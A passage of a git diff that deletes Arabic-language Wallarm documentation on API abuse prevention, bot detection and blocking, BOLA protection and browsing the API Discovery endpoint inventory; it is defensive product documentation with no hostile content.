استخدام واجهة برمجة التطبيقات** بحظر البوتات من خلال إضافتها إلى [القائمة السوداء](../user-guides/ip-lists/overview.md) أو [القائمة الرمادية](../user-guides/ip-lists/overview.md) لمدة ساعة واحدة. - -يمكنك استكشاف عناوين آي بي للبوتات المحظورة في لوحة تحكم Wallarm → **قوائم الآي بي** → **القائمة السوداء** أو **القائمة الرمادية**. استكشف العناوين المضافة ب**السبب** `Bot`. - -![عناوين آي بي للبوتات في القائمة السوداء](../images/about-wallarm-waf/abi-abuse-prevention/denylisted-bot-ips.png) - -!!! info "الثقة" - كنتيجة ل[عمل جهاز الكشف](../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)، كل بوت مكتشف يحصل على **نسبة ثقة**: مدى تأكدنا من أنه بوت. في كل نوع من أنواع البوتات، لأجهزة الكشف أهمية/عدد أصوات مختلفة نسبياً. بالتالي، نسبة الثقة هي الأصوات المكتسبة من مجموع الأصوات الممكنة في هذا النوع من البوتات (المقدمة من أجهزة الكشف التي عملت). - -يمكنك التدخل في عملية حماية البوت. إذا كان عنوان آي بي الموجود في القائمة السوداء أو الرمادية لا يستخدم من قبل بوت ضار، يمكنك إما حذف عنوان الآي بي من القائمة أو [إضافته إلى القائمة البيضاء](../user-guides/ip-lists/overview.md). Wallarm لا تحظر أي طلبات صادرة من عناوين الآي بي في القائمة البيضاء بما في ذلك تلك الضارة. - -## هجمات البوت - -يمكنك استكشاف الهجمات التي قامت بها البوتات في لوحة تحكم Wallarm → قسم **الهجمات**. استخدم مفتاح البحث `api_abuse` أو اختر `الوقاية من إساءة استخدام واجهة برمجة التطبيقات` من مرشح **النوع**. - -![أحداث الوقاية من إساءة استخدام واجهة برمجة التطبيقات](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-events.png) - -يتم تصوير معلومات البوت في ثلاث خرائط حرارية. في جميع الخرائط الحرارية، كلما كانت الفقاعة أكبر وأقرب إلى اللون الأحمر وإلى الزاوية العليا اليمنى - كانت هناك أسباب أكثر لاعتبار هذا الآي بي بوت. - -على الخرائط الحرارية، يمكنك أيضا مقارنة بوتك الحالي (**هذا البوت**) مع البوتات الأخرى التي هاجمت نفس التطبيق خلال الـ24 ساعة الماضية. إذا كان هناك الكثير من البوتات التي فعلت ذلك، سيتم عرض أكثر 30 بوت مشبوه فقط. - -الخرائط الحرارية: - -* **الأداء** تصور أداء البوت الحالي والبوتات المكتشفة الأخرى بما في ذلك عدم فرادة طلباتهم، طلباتهم المجدولة، RPS، وفاصل الطلب. -* **السلوك** يصور درجة السلوك المشبوه للبوت الحالي والبوتات المكتشفة الأخرى بما في ذلك عدد الطلبات إلى نقاط النهاية الحرجة أو الحساسة، RPS وعدد أجهزة الكشف التي اكتشفتها كبوتات. -* **أخطاء HTTP** تصور أخطاء واجهة برمجة التطبيقات التي تسببت بها أنشطة البوت بما في ذلك عدد نقاط النهاية المختلفة التي يستهدفونها، عدد الطلبات غير الآمنة التي يقومون بها، RPS وعدد رموز استجابة الخطأ التي يتلقونها. - -تتضمن كل خريطة حرارية وصفاً مفصلاً لمعاني حجم فقاعاتها ولونها وموقعها (استخدم **عرض المزيد**). يمكنك تقريب الخريطة الحرارية برسم مستطيل حول المنطقة المطلوبة. - -تجمع وحدة **الوقاية من إساءة استخدام واجهة برمجة التطبيقات** حركة المرور الخاصة بالعميل إلى أنماط URL. قد تحتوي نمط URL على القطاعات التالية: - -| القطاع | يحتوي على | مثال | -|---|---|---| -| حساس | أجزاء URL التي توفر الوصول إلى وظائف أو موارد حرجة للتطبيق، مثل لوحة الإدارة. يجب الحفاظ على سريتها وتقييد الوصول إليها للأشخاص المصرح لهم فقط لمنع انتهاكات الأمان المحتملة. | `wp-admin` | -| معرف | معرفات مختلفة مثل المعرفات العددية، UUIDs، إلخ. | - | -| ثابت | المجلدات التي تحتوي على ملفات ثابتة من أنواع مختلفة. | `images`, `js`, `css` | -| ملف | أسماء الملفات الثابتة. | `image.png` | -| استعلام | معاملات الاستعلام. | - | -| المصادقة | المحتوى المتعلق بنقاط النهاية للمصادقة/التفويض. | - | -| لغة | أجزاء متعلقة باللغة. | `en`, `fr` | -| فحص الصحة | المحتوى المتعلق بنقاط النهاية لفحص الصحة. | - | -| متغير | يتم وضع علامة على القطاع كمتغير إذا كان من المستحيل نسبه إلى فئات أخرى. جزء متغير من مسار URL. | - | \ No newline at end of file diff --git a/docs/latest-ar/api-abuse-prevention/overview.md b/docs/latest-ar/api-abuse-prevention/overview.md deleted file mode 100644 index a9e9951602..0000000000 --- a/docs/latest-ar/api-abuse-prevention/overview.md +++ /dev/null @@ -1,28 +0,0 @@ -# منع إساءة استخدام API - -تقدم وحدة **منع إساءة استخدام API** في منصة Wallarm الكشف والتخفيف عن الروبوتات التي تقوم بإساءة استخدام API مثل استخدام بيانات الاعتماد بشكل غير صحيح، إنشاء حسابات مزيفة، والتجريف وغيرها من الأعمال الخبيثة التي تستهدف واجهات برمجة التطبيقات الخاصة بك. - -## التهديدات الآلية التي يحجبها منع إساءة استخدام API - -تكتشف وحدة **منع إساءة استخدام API** الأنواع التالية من الروبوتات بشكل افتراضي: - -* [إساءة استخدام API](../attacks-vulns-list.md#api-abuse) -* [السيطرة على الحساب](../attacks-vulns-list.md#api-abuse-account-takeover) -* [المتسلقون الأمنيون](../attacks-vulns-list.md#api-abuse-security-crawlers) -* [التجريف](../attacks-vulns-list.md#api-abuse-scraping) - -خلال [إعداد ملف تعريف إساءة استخدام API](../api-abuse-prevention/setup.md#creating-api-abuse-profile)، يمكنك تكوين وحدة **منع إساءة استخدام API** للحماية من جميع أنواع الروبوتات أو تحديد الحماية فقط للتهديدات الخاصة. - -## كيف يعمل منع إساءة استخدام API؟ - -تستخدم وحدة **منع إساءة استخدام API** نموذج كشف الروبوتات المعقد الذي يشمل الأساليب المستندة إلى تعلم الآلة بالإضافة إلى طرق البحث عن الشذوذ الإحصائية والرياضية وحالات الاستغلال المباشر. تتعلم الوحدة بنفسها ملف تعريف حركة المرور الطبيعية وتحدد السلوك الذي يختلف بشكل كبير على أنه شذوذ. - -تستخدم وحدة منع السوء المتعددة الكاشفات لتحديد الروبوتات الخبيثة. الوحدة تقدم إحصائيات حول التواجد المتورطة في تحديد الروبوتات الخبيثة. - -قد تكون الكاشفات التالية متورطة: - -* **فاصل الطلب**: يحلل فترات الزمن بين الطلبات المتتالية لكشف نقص العشوائية الذي هو علامة على سلوك الروبوت. -* **فريدة من نوع الطلب**: يحلل عدد النقاط النهائية الفريدة التي تم زيارتها خلال جلسة. إذا كان العميل يزور باستمرار نسبة ضئيلة من النقاط النهائية الفريدة، مثل 10٪ أو أقل، فمن المحتمل أن يكون روبوتًا بدلاً من مستخدم بشري. -* **معدل الطلب**: يحلل عدد الطلبات التي تم إجراؤها في فترة زمنية محددة. إذا أجرى عميل API بشكل مستمر نسبة عالية من الطلبات تجاوزت حد معين، فمن المحتمل أن يكون روبوتًا بدلاً من مستخدم بشري. -* **الوكيل السيء**: يحلل رؤوس `الوكيل المستخدم` المدرجة في الطلبات. يتحقق هذا الكاشف من التوقيعات المحددة، بما في ذلك تلك التي تنتمي إلى المتسلقين، والمعادين، ومجموعات التفتيش الأمنية. -* **متصفح قديم**: يحلل المتصفح والمنصة المستخدمة في الطلبات. إذا كان العميل يستخدم متصفحًا قديمًا أو غير مدعوم أو منصة، فمن المحتمل أن يكون روبوتًا بدلاً من مستخدم بشري. diff --git a/docs/latest-ar/api-abuse-prevention/setup.md b/docs/latest-ar/api-abuse-prevention/setup.md deleted file mode 100644 index afef8b7501..0000000000 --- a/docs/latest-ar/api-abuse-prevention/setup.md +++ /dev/null @@ -1,110 +0,0 @@ -# إدارة ملف تعريف الوقاية من سوء استخدام واجهة برمجة التطبيقات - -في قسم **الوقاية من سوء استخدام واجهة برمجة التطبيقات** من واجهة Wallarm، يمكنك إدارة ملفات تعريف الوقاية من سوء استخدام واجهة برمجة التطبيقات التي مطلوبة لتكوين وحدة [**الوقاية من سوء استخدام واجهة برمجة التطبيقات**](../api-abuse-prevention/overview.md). - -القسم متاح فقط للمستخدمين ذوي [الأدوار](../user-guides/settings/users.md#user-roles) التالية: - -* **مدير** أو **محلل** للحسابات العادية. -* **مدير عالمي** أو **محلل عالمي** للحسابات مع ميزة العقد المتعدد. - -## إنشاء ملف تعريف للوقاية من سوء استخدام واجهة برمجة التطبيقات - -لإنشاء ملف تعريف للوقاية من سوء استخدام واجهة برمجة التطبيقات: - -1. في واجهة Wallarm → **الوقاية من سوء استخدام واجهة برمجة التطبيقات**، انقر على **إنشاء ملف تعريف**. -1. حدد التطبيقات التي يجب حمايتها. -1. حدد مستوى [التسامح](../api-abuse-prevention/overview.md#tolerance). -1. إذا لزم الأمر، في قسم **الحماية من**، قم بتحديد [أنواع البوتات](../api-abuse-prevention/overview.md#automated-threats-blocked-by-api-abuse-prevention) التي يجب حمايتها. -1. حدد الرد المناسب علي [البوتات الخبيثة](../api-abuse-prevention/overview.md#reaction-to-malicious-bots). -1. إذا كان الرد هو الإضافة إلى القائمة السوداء أو القائمة الرمادية، حدد الوقت الذي ستبقى خلاله الـ IP في القائمة. القيمة الافتراضية هي `أضف ليوم`.. -1. عيّن اسمًا واختياريًا الوصف. - - ![ملف تعريف الوقاية من سوء استخدام واجهة برمجة التطبيقات](../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - - بمجرد تكوين ملف تعريف الوقاية من سوء استخدام واجهة برمجة التطبيقات، ستبدأ الوحدة في [تحليل المرور ومنع الهجمات الآلية المدعومة](../api-abuse-prevention/overview.md#how-api-abuse-prevention-works). - -## تعطيل ملف تعريف الوقاية من سوء استخدام واجهة برمجة التطبيقات - -الملفات التعريفية المُعطلة هي التي لا تستخدمها وحدة **الوقاية من سوء استخدام واجهة برمجة التطبيقات** أثناء تحليل المرور ولكنها لا تزال تُعرض في قائمة الملفات التعريفية. يمكنك إعادة تمكين الملفات التعريفية المُعطلة في أي وقت. إذا لم يكن هناك ملفات تعريف ممكّنة، فالوحدة لا تمنع البوتات الخبيثة. - -يمكنك تعطيل الملف التعريفي عن طريق استخدام الخيار المناسب **تعطيل**. - -## حذف ملف تعريف الوقاية من سوء استخدام واجهة برمجة التطبيقات - -الملفات التعريفية المحذوفة هي التي لا يمكن استعادتها والتي لا تستخدمها وحدة **الوقاية من سوء استخدام واجهة برمجة التطبيقات** أثناء تحليل المرور. - -يمكنك حذف الملف التعريفي عن طريق استخدام الخيار المناسب **حذف**. - -## استكشاف البوتات الخبيثة المحظورة وهجماتها - -تحظر وحدة **الوقاية من سوء استخدام واجهة برمجة التطبيقات** البوتات عن طريق إضافتها إلى [القائمة السوداء](../user-guides/ip-lists/overview.md) أو [القائمة الرمادية](../user-guides/ip-lists/overview.md) لمدة ساعة. - -يمكنك استكشاف IP البوتات المحظورة في واجهة Wallarm → **قائمة الـ IP** → **القائمة السوداء** أو **القائمة الرمادية**. استكشف الـ IP المُضافة مع سبب `البوت`. - -![IP البوتات في القائمة السوداء](../images/about-wallarm-waf/abi-abuse-prevention/denylisted-bot-ips.png) - -!!! info "الثقة" - كنتيجة ل[عمل المكتشفات](../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)، يحصل كل بوت تم اكتشافه على **نسبة الثقة** : مدى ثقتنا بأن هذا بوت. في كل نوع من أنواع البوتات، لدى المكتشفات أهمية نسبية / عدد من الأصوات. وبالتالي، نسبة الثقة هي الأصوات المكتسبة من جميع الأصوات الممكنة في هذا النوع من البوت (المقدمة من المكتشفات التي عملت). - -يمكنك التدخل في عملية حماية البوت. إذا كانت الـ IP المُدرجة في القائمة السوداء أو القائمة الرمادية ليست مستخدمة بالفعل من قبل بوت خبيث، يمكنك إما حذف الـ IP من القائمة أو تضمينها في [القائمة البيضاء](../user-guides/ip-lists/overview.md). لا تمنع Wallarm أي طلبات تنشأ من الـ IP المُدرجة في القائمة البيضاء بما في ذلك الطلبات الخبيثة. - -يمكنك أيضًا استكشاف هجمات سوء استخدام واجهة برمجة التطبيقات التي تتم بواسطة البوتات في واجهة Wallarm → قسم **الهجمات**. استخدم مفتاح البحث `api_abuse` أو حدد `الوقاية من سوء الاستخدام من واجهة برمجة التطبيقات` من فلتر **النوع**. - -![أحداث الوقاية من سوء استخدام واجهة برمجة التطبيقات](../images/about-wallarm-waf/abi-abuse-prevention/api-abuse-events.png) - -تتم تصور معلومات البوت في ثلاث خرائط حرارية. في جميع الخرائط الحرارية، كلما كانت الفقاعة أكبر، وأقرب إلى اللون الأحمر والزاوية العلوية اليمنى - كانت هناك أسباب أكثر للنظر في هذه الـ IP كبوت. - -على الخرائط الحرارية، يمكنك أيضًا المقارنة بين بوتك الحالي (**هذا البوت**) والبوتات الأخرى التي هاجمت التطبيق نفسه خلال الـ 24 ساعة الماضية. إذا هاجم العديد من البوتات، سيتم عرض 30 من البوتات الأكثر شبه إجرامي فقط. - -الخرائط الحرارية: - -* **الأداء** يُظهر أداء البوتات الحالية والأخرى التي تم اكتشافها بما في ذلك عدم فريدة الطلبات، والطلبات المجدولة، والطلبات في الثانية، وفترة الطلب. -* **السلوك** يُظهر درجة السلوك المشبوه للبوتات الحالية والأخرى التي تم اكتشافها بما في ذلك درجة السلوك المشبوه، وعدد الطلبات إلى النقاط النهائية الحرجة أو الحساسة، والطلبات في الثانية وعدد مكتشفات البوتات التي اكتشفتها كـ بوتات. -* **أخطاء HTTP** يصور أخطاء واجهة برمجة التطبيقات التي تسببها نشاطات البوت بما في ذلك عدد النقاط النهائية المختلفة التي يستهدفونها، وعدد الطلبات غير الآمنة التي يقدمونها، وطلباتهم في الثانية، وعدد رموز الاستجابة للأخطاء التي يتلقونها. - -تتضمن كل خريطة حرارية تفاصيل وصف حجم فقاعتها، لونها ومعنى موقعها (استخدم **إظهار المزيد**). يمكنك التكبير في خريطة الحرارة عن طريق رسم مستطيل حول المنطقة المطلوبة. - -تقوم وحدة **الوقاية من سوء استخدام واجهة برمجة التطبيقات** بتجميع مرور العميل إلى أنماط URL. قد يحتوي نموذج الـ URL على الأجزاء التالية: - -| الجزء | يحتوي على | مثال | -|---|---|---| -| الحساس | أجزاء الـ URL التي توفر الوصول إلى وظائف التطبيق الحرجة أو الموارد، مثل لوحة الإدارة. يجب الاحتفاظ بها سرية وتحديدها للأفراد المعتمدين فقط لمنع انتهاك الأمان المحتمل. | `wp-admin` | -| المعرّف | معرفات مختلفة مثل المعرفات الرقمية، UUIDs، الخ. | - | -| الثابت | المجلدات التي تحتوي على ملفات ثابتة من أنواع مختلفة. | `images`, `js`, `css` | -| الملف | أسماء الملفات الثابتة. | `image.png` | -| الاستعلام | معلمات الاستعلام. | - | -| المصادقة | المحتوى المتعلق بنقاط النهاية للمصادقة/التفويض. | - | -| اللغة | أجزاء متعلقة باللغة. | `en`, `fr` | -| فحص الصحة | المحتوى المتعلق بنقاط النهاية لفحص الصحة. | - | -| التباين | يتم وضع علامة على الجزء كـ التباين إذا كان من المستحيل نسبها إلى الفئات الأخرى. جزء متغير من مسار الـ URL. | - | - -## العمل مع القائمة الاستثنائية - -لتعليم بعض عناوين الـ IP المرتبطة بالبوتات المشروعة أو الزاحفين لتجنب حظرها بواسطة الوقاية من سوء استخدام واجهة برمجة التطبيقات، استخدم [**القائمة الاستثنائية**](../api-abuse-prevention/overview.md#exception-list). - -تضيف عنوان الـ IP أو النطاق إلى القائمة الاستثنائية وتحدد التطبيق المستهدف: هذا يتسبب في أن أي طلبات من هذه العناوين إلى التطبيق المستهدف لن تؤدي إلى وضع علامة على هذه العناوين كبوتات خبيثة ولن يتم إضافتها إلى [القائمة السوداء](../user-guides/ip-lists/overview.md) أو [القائمة الرمادية](../user-guides/ip-lists/overview.md) بواسطة الوقاية من سوء استخدام واجهة برمجة التطبيقات. - -هناك طريقتين لإضافة عناوين الـ IP إلى القائمة الاستثنائية: - -* من قسم **الوقاية من سوء استخدام واجهة برمجة التطبيقات** → علامة التبويب **القائمة الاستثنائية** عبر **إضافة استثناء**. هنا، بالإضافة إلى الـ IP والشبكات الفرعية، يمكنك إضافة المواقع وأنواع المصدر التي يجب تجاهلها بواسطة الوقاية من سوء استخدام واجهة برمجة التطبيقات. - - ![الوقاية من سوء استخدام واجهة برمجة التطبيقات - إضافة عناصر من داخل القائمة الاستثنائية](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-inside.png) - -* من قسم **الهجمات**: استخدم مفتاح البحث `api_abuse` أو حدد `الوقاية من سوء الاستخدام من واجهة برمجة التطبيقات` من فلتر **النوع**، ثم توسع الحدث المطلوب وانقر على **إضافة إلى القائمة الاستثنائية**. - - ![الوقاية من سوء استخدام واجهة برمجة التطبيقات - إضافة عناصر من داخل القائمة الاستثنائية](../images/about-wallarm-waf/abi-abuse-prevention/exception-list-add-from-event.png) - -عند إضافة عنوان الـ IP إلى القائمة الاستثنائية، يتم إزالة العنوان تلقائيًا من [القائمة السوداء](../user-guides/ip-lists/overview.md) أو [القائمة الرمادية](../user-guides/ip-lists/overview.md)، ولكن فقط إذا تمت إضافته هناك بواسطة الوقاية من سوء استخدام واجهة برمجة التطبيقات نفسها (لديه سبب `البوت`). - -!!! info "حظر أنواع هجمات أخرى من IP" - إذا أنتج عنوان IP من القائمة الاستثنائية [أنواع هجمات](../attacks-vulns-list.md) أخرى، مثل هجمات قوة التجاوز أو التحقق من الإدخال وغيرها، تمنع Wallarm مثل هذه الطلبات. - -بشكل افتراضي، يتم إضافة الـ IP إلى القائمة الاستثنائية إلى الأبد. يمكنك تغيير هذا وتعيين الوقت الذي يجب فيه إزالة العنوان من القائمة الاستثنائية. يمكنك أيضًا إزالة العنوان من الاستثناءات فورًا في أي لحظة. - -توفر علامة التبويب **القائمة الاستثنائية** البيانات التاريخية - يمكنك عرض العناصر التي كانت موجودة في القائمة ضمن الفترة الزمنية المحددة في الماضي. - -## العمل مع الاستثناءات لعناوين الـ URL المستهدفة والطلبات المحددة - -بالإضافة إلى وضع علامة على IPs البوتات الجيدة عبر [القائمة الاستثنائية](#working-with-exception-list)، يمكنك تعطيل حماية البوت سواء للـ URLs التي تستهدفها الطلبات أو لأنواع الطلبات المعينة، على سبيل المثال، للطلبات التي تحتوي على رؤوس محددة. - -لاحظ أن مقارنة بتكوين الوقاية من سوء استخدام واجهة برمجة التطبيقات الأخرى، يتم تكوين هذه القدرة **ليس** ضمن ملف تعريف الوقاية من سوء استخدام واجهة برمجة التطبيقات، ولكن بشكل منفصل - بمساعدة قاعدة [**تعيين وضع الوقاية من سوء استخدام واجهة برمجة التطبيقات**](#_5). \ No newline at end of file diff --git a/docs/latest-ar/api-attack-surface/api-surface.md b/docs/latest-ar/api-attack-surface/api-surface.md deleted file mode 100644 index 4b7a2a9122..0000000000 --- a/docs/latest-ar/api-attack-surface/api-surface.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/api-surface.md" \ No newline at end of file diff --git a/docs/latest-ar/api-attack-surface/overview.md b/docs/latest-ar/api-attack-surface/overview.md deleted file mode 100644 index 8c74da79f6..0000000000 --- a/docs/latest-ar/api-attack-surface/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/overview.md" \ No newline at end of file diff --git a/docs/latest-ar/api-attack-surface/security-issues.md b/docs/latest-ar/api-attack-surface/security-issues.md deleted file mode 100644 index 10c60a412b..0000000000 --- a/docs/latest-ar/api-attack-surface/security-issues.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-attack-surface/security-issues.md" \ No newline at end of file diff --git a/docs/latest-ar/api-discovery/bola-protection.md b/docs/latest-ar/api-discovery/bola-protection.md deleted file mode 100644 index 06fe274ca9..0000000000 --- a/docs/latest-ar/api-discovery/bola-protection.md +++ /dev/null @@ -1,15 +0,0 @@ -# الحماية التلقائية ضد هجمات BOLA - -الهجمات السلوكية مثل [التفويض المعطل على مستوى الكائن (BOLA)](../attacks-vulns-list.md#broken-object-level-authorization-bola) تستغل نقطة الضعف التي تحمل نفس الاسم. تتيح هذه الثغرة للمهاجم الوصول إلى كائن من خلال معرفه عبر طلب API وإما قراءة بياناته أو تعديلها متجاوزًا آلية التفويض. - -الأهداف المحتملة لهجمات BOLA هي النقاط النهائية ذات التغيرات. يمكن لـ Wallarm اكتشاف وحماية هذه النقاط النهائية تلقائيًا من بين تلك التي يستكشفها وحدة [اكتشاف API](overview.md). - -لتفعيل الحماية التلقائية ضد BOLA، انتقل إلى لوحة التحكم Wallarm → [**حماية BOLA**](../admin-en/configuration-guides/protecting-against-bola.md) وقم بتحويل المفتاح إلى وضع التفعيل: - -![مفتاح BOLA](../images/user-guides/bola-protection/trigger-enabled-state.png) - -سيتم تمييز كل نقطة نهاية API محمية بالأيقونة المناسبة في جرد API، على سبيل المثال: - -![مفتاح BOLA](../images/about-wallarm-waf/api-discovery/endpoints-protected-against-bola.png) - -يمكنك فلترة نقاط نهاية API حسب حالة الحماية التلقائية ضد BOLA. العامل المطابق متاح تحت فلتر **الآخرين**. \ No newline at end of file diff --git a/docs/latest-ar/api-discovery/dashboard.md b/docs/latest-ar/api-discovery/dashboard.md deleted file mode 100644 index 288f1b8f9f..0000000000 --- a/docs/latest-ar/api-discovery/dashboard.md +++ /dev/null @@ -1,10 +0,0 @@ -[apid-overview]: overview.md -[apid-risk-score]: risk-score.md -[apid-track-changes]: track-changes.md -[apid-rogue]: rogue-api.md -[check-attack]: ../user-guides/events/check-attack.md -[img-api-discovery-widget]: ../images/user-guides/dashboard/api-discovery-widget.png - -# لوحة التحكم لاكتشاف API - ---8<-- "../include/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/latest-ar/api-discovery/exploring.md b/docs/latest-ar/api-discovery/exploring.md deleted file mode 100644 index 9a5087e11d..0000000000 --- a/docs/latest-ar/api-discovery/exploring.md +++ /dev/null @@ -1,113 +0,0 @@ -# استكشاف جرد API - -بمجرد أن يقوم وحدة [اكتشاف API](overview.md) ببناء فهرس نقاط النهاية لديك (جرد API الخاص بك)، يمكنك استكشافه في قسم **اكتشاف API** في لوحة تحكم Wallarm. تعلم من هذه المقالة كيف تتنقل خلال البيانات المكتشفة. - -## نقاط النهاية - -استكشف جرد API المكتشف الخاص بك باستخدام قسم **اكتشاف API** في سحابة [US](https://us1.my.wallarm.com/api-discovery) أو [EU](https://my.wallarm.com/api-discovery). - -![نقاط النهاية المكتشفة بواسطة اكتشاف API](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -في كل مرة تفتح قسم **اكتشاف API**، ترى جميع نقاط النهاية المكتشفة و[التغييرات](track-changes.md) التي حدثت خلال الأسبوع الماضي. بواسطة فلتر **التغييرات منذ**، يمكنك تغيير `الأسبوع الأخير` إلى أي فترة أخرى. - -بشكل افتراضي، يتم فرز نقاط النهاية حسب أسماء المضيف/نقطة النهاية (وتجميعها حسب المضيفين). إذا قمت بالفرز حسب **الضربات** أو **المخاطر**، يختفي التجميع - للرجوع إلى الافتراضي، انقر مرة أخرى على عمود المضيفين/نقطة النهاية. - -### خارجية مقابل داخلية - -نقاط النهاية القابلة للوصول من الشبكة الخارجية هي الاتجاهات الرئيسية للهجوم. وبالتالي، من المهم رؤية ما هو متاح من الخارج والانتباه إلى نقاط النهاية هذه في المقام الأول. - -تقسم Wallarm تلقائيًا واجهات API المكتشفة إلى خارجية وداخلية. يُعتبر المضيف مع جميع نقاط النهاية الخاصة به داخليًا إذا كان موجودًا على: - -* عنوان IP خاص أو عنوان IP محلي -* نطاق علوي عام (على سبيل المثال: localhost، dashboard، إلخ.) - -في الحالات الأخرى، يُعتبر المضيفون خارجيين. - -بشكل افتراضي، يتم عرض قائمة بجميع مضيفي API (الخارجيين والداخليين). في جرد API المكتشف، يمكنك عرض واجهات API الداخلية والخارجية الخاصة بك بشكل منفصل. للقيام بذلك، انقر فوق **خارجي** أو **داخلي**. - -### التصفية - -من بين مجموعة واسعة من فلاتر نقاط النهاية لـAPI، يمكنك اختيار تلك التي تتوافق مع غرض التحليل الخاص بك، على سبيل المثال: - -* نقاط النهاية التي تعرضت للهجوم فقط والتي يمكنك فرزها بحسب عدد الضربات. -* البحث عن نقاط النهاية الأكثر عرضة للخطر والتي تتميز بمعالجة بيانات حساسة والثغرات النشطة ذات مستوى [الخطر العالي](risk-score.md). استغلال الثغرات ذات مستوى الخطر العالي يسمح للمهاجمين بأداء العديد من الإجراءات الخبيثة مع النظام بما في ذلك سرقة البيانات الحساسة التي تقوم نقطة النهاية بمعالجتها/تخزينها. -* البحث عن [نقاط النهاية الشاردة](rogue-api.md): الظل، اليتيمة والزومبي. -* البحث عن نقاط النهاية التي تم تغييرها أو اكتشافها حديثًا في الأسبوع الماضي والتي تعالج بيانات الهوية الشخصية. يمكن أن يساعد هذا النوع من الطلبات في البقاء على اطلاع بالتغييرات الحرجة في واجهات الـAPI الخاصة بك. -* البحث عن نقاط النهاية التي يتم استخدامها لتحميل البيانات إلى الخادم الخاص بك بواسطة مكالمات PUT أو POST. نظرًا لأن مثل هذه نقاط النهاية هدف متكرر للهجوم، يجب تأمينها بشكل جيد. باستخدام هذا النوع من الطلبات يمكنك التحقق من أن نقاط النهاية معروفة للفريق ومؤمنة بشكل جيد ضد الهجمات. -* البحث عن نقاط النهاية التي تعالج بيانات بطاقة بنك العملاء. بهذا الطلب، يمكنك التحقق من أن البيانات الحساسة يتم معالجتها فقط بواسطة نقاط النهاية المؤمنة. -* البحث عن نقاط النهاية لنسخة API مهجورة (على سبيل المثال بالبحث عن `/v1`) والتأكد من أن العملاء لا يستخدمونها. - -يمكن تصدير جميع البيانات المفلترة في OpenAPI v3 لتحليل إضافي. - -## تفاصيل نقطة النهاية - -بالنقر على نقطة النهاية، يمكنك أيضًا العثور على تفاصيل نقطة النهاية، بما في ذلك إحصائيات الطلبات، الرؤوس، البرامترات المطلوبة والاختيارية مع أنواع البيانات ذات الصلة: - -![برامترات الطلب المكتشفة بواسطة اكتشاف API](../images/about-wallarm-waf/api-discovery/discovered-request-params.png) - -تشمل معلومات كل بارامتر: - -* اسم البارامتر والجزء من الطلب الذي ينتمي إليه هذا البارامتر -* معلومات حول تغييرات البارامتر (جديد، غير مستخدم) -* وجود ونوع البيانات الحساسة التي يتم نقلها بواسطة هذا البارامتر، بما في ذلك: - - * بيانات فنية مثل عناوين IP وعناوين MAC - * بيانات الاعتماد مثل المفاتيح السرية وكلمات المرور - * بيانات مالية مثل أرقام بطاقات البنك - * بيانات طبية مثل رقم الترخيص الطبي - * معلومات يمكن تحديد الهوية الشخصية (PII) مثل الاسم الكامل، رقم الجواز أو SSN - -* [النوع/التنسيق](#format-and-data-type) للبيانات المرسلة في هذا البارامتر -* التاريخ والوقت اللذين تم تحديث معلومات البارامتر فيهما آخر مرة - -### التنسيق ونوع البيانات - -في عمود **النوع**، تشير Wallarm إلى تنسيق البيانات المحدد من خلال تحليل حركة المرور أو، إذا لم يكن محددًا، نوع بيانات عام. - -تحاول Wallarm اكتشاف تنسيقات بيانات متنوعة مثل `Int32`، `Int64`، `Float`، `Double`، `Datetime`، `IPv4`/`IPv6`، من بين أمور أخرى. إذا لم يتوافق قيمة مع أي تنسيق بيانات معترف به، تصنف Wallarm تحت نوع بيانات عام، مثل `Integer`، `Number`، `String`، أو `Boolean`. - -تسمح هذه البيانات بالتحقق من أن القيم ذات التنسيق المتوقع يتم تمريرها في كل بارامتر. يمكن أن تكون عدم التوافق نتيجة لهجوم أو فحص لواجهة API الخاصة بك، على سبيل المثال: - -* يتم تمرير قيم `String` إلى الحقل مع `IP` -* يتم تمرير قيم `Double` إلى الحقل حيث يجب أن تكون القيمة لا تزيد عن `Int32` - -### التباين - -يمكن أن تتضمن عناوين URL عناصر متنوعة، مثل معرف المستخدم، مثل: - -* `/api/articles/author/author-a-0001` -* `/api/articles/author/author-a-1401` -* `/api/articles/author/author-b-1401` - -توحد وحدة **اكتشاف API** هذه العناصر إلى تنسيق `{parameter_X}` في مسارات نقاط النهاية، لذلك بالنسبة للمثال أعلاه لن يكون لديك 3 نقاط نهاية، ولكن بدلاً من ذلك سيكون هناك واحدة: - -* `/api/articles/author/{parameter_1}` - -انقر على نقطة النهاية لتوسيع البرامترات الخاصة بها وعرض النوع الذي تم اكتشافه تلقائيًا للبرامتر المتنوع. - -![اكتشاف API - التباين في المسار](../images/about-wallarm-waf/api-discovery/api-discovery-variability-in-path.png) - -لاحظ أن الخوارزمية تحلل حركة المرور الجديدة. إذا رأيت في لحظة ما عناوين، ينبغي أن تكون موحدة ولكن هذا لم يحدث بعد، امنحها بعض الوقت. بمجرد وصول المزيد من البيانات، ستوحد النظام نقاط النهاية التي تتطابق مع النمط المكتشف حديثًا مع الكمية المناسبة من العناوين المتطابقة. - -## مراقبة الهجمات على نقاط نهاية API - -يتم عرض عدد الهجمات على نقاط نهاية API خلال آخر 7 أيام في عمود **الضربات**. يمكنك طلب عرض نقاط النهاية التي تعرضت للهجوم فقط بتحديد في الفلاتر: **الآخرين** → **نقاط النهاية التي تعرضت للهجوم**. - -لرؤية الهجمات على نقطة نهاية ما، انقر على الرقم في عمود **الضربات**: - -![افتتاح الأحداث - نقطة نهاية API](../images/about-wallarm-waf/api-discovery/endpoint-open-events.png) - -سيتم عرض قسم **الهجمات** مع [الفيلتر المطبق](../user-guides/search-and-filters/use-search.md): - -``` -attacks last 7 days endpoint_id: -``` - -يمكنك أيضًا نسخ عنوان URL لبعض نقاط النهاية إلى الحافظة واستخدامه للبحث عن الأحداث. للقيام بذلك، في قائمة نقطة النهاية هذه حدد **نسخ URL**. - -## إنشاء قواعد لنقاط نهاية API - -يمكنك بسرعة إنشاء [قاعدة مخصصة جديدة](../user-guides/rules/rules.md) من أي نقطة نهاية من جرد API: - -1. في قائمة نقطة النهاية 